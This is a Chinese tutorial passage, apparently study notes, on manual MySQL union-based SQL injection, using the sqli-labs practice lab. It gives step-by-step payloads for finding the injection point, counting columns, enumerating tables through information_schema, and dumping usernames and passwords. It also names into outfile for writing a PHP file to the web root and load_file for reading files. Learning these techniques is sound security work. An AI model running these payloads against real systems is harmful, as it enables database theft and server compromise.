4.1. 判断注入点(注入类型)
MySQL的注释符号# 或者--+,意思是:只执行前面的语句
方法
- 单引号判断法(主要判断法)
当使用一个单引号时,返回错误显示,说明存在SQL注入
无论是数字型还是字符型都会报错,因为查询语句要闭合,引号是成对出现的。
因为在传输该相关数据参数时并没有对其进行仔细过滤,导致直接参与数据库查询。
- ?id=1’,回显报错,存在注入。
- 数字型注入不需要进行闭合,直接插入恶意语句id=-1 union select 1,2,3
此处id=-1不存在表中数值,所以显示联合查询后面的结果集。
下图实例使用less-2
- 字符型注入需要找到闭合方式,进行闭合后在插入恶意语句(实战中闭合方式以单 引号居多) id=-1’ union select 1,2,3--+
4.2. 判断列数
因为前后两个结果集的列数必须相同,所以需要先判断列数,再进行 union 语句的 插入,在 mysql 中使用 order by 语句进行列数的判断,对 order by 后面的参数进行 改变,页面报错时说明不存在该列,即可获取表的列数。
?id = 1 order by 3
?id = 1 order by 4
4.3. 判断显错点
因为不是所有的列数会在前端显示,后段虽然执行了,但是前端代码决定显示哪些列
id=-1 union select 1,2,3
4.4. 信息收集(获取数据库名)
获取单个数据?id=-1 union select 1,2,database()
获得多个数个数据库?id=-1 union select 1,2,concat_ws(',',database(),user())
其他信息收集的函数
➢into outfile:写文件 {select '' into outfile 'D:/phpstudy/www/ly.php’}
➢load_file():读文件操作
➢concat(str1,str2..):连接字符串,连接两个或多个数组
➢group_concat(str1,str2..):连接字符串,能将相同的行组合起来
➢length() =>计算字符串长度
➢hex() =>字符转换为 16 进制
user() 当前用户名
database() 当前所用数据库
current_user() 当前用户名(可查看权限)
version() 数据库版本
into dumpfile 写文件操作
4.5. 获取表名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
4.6. 获取字段名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
4.7. 获取数据
id=-1 union select 1,2,group_concat('~',id,username,password,'~') from security.users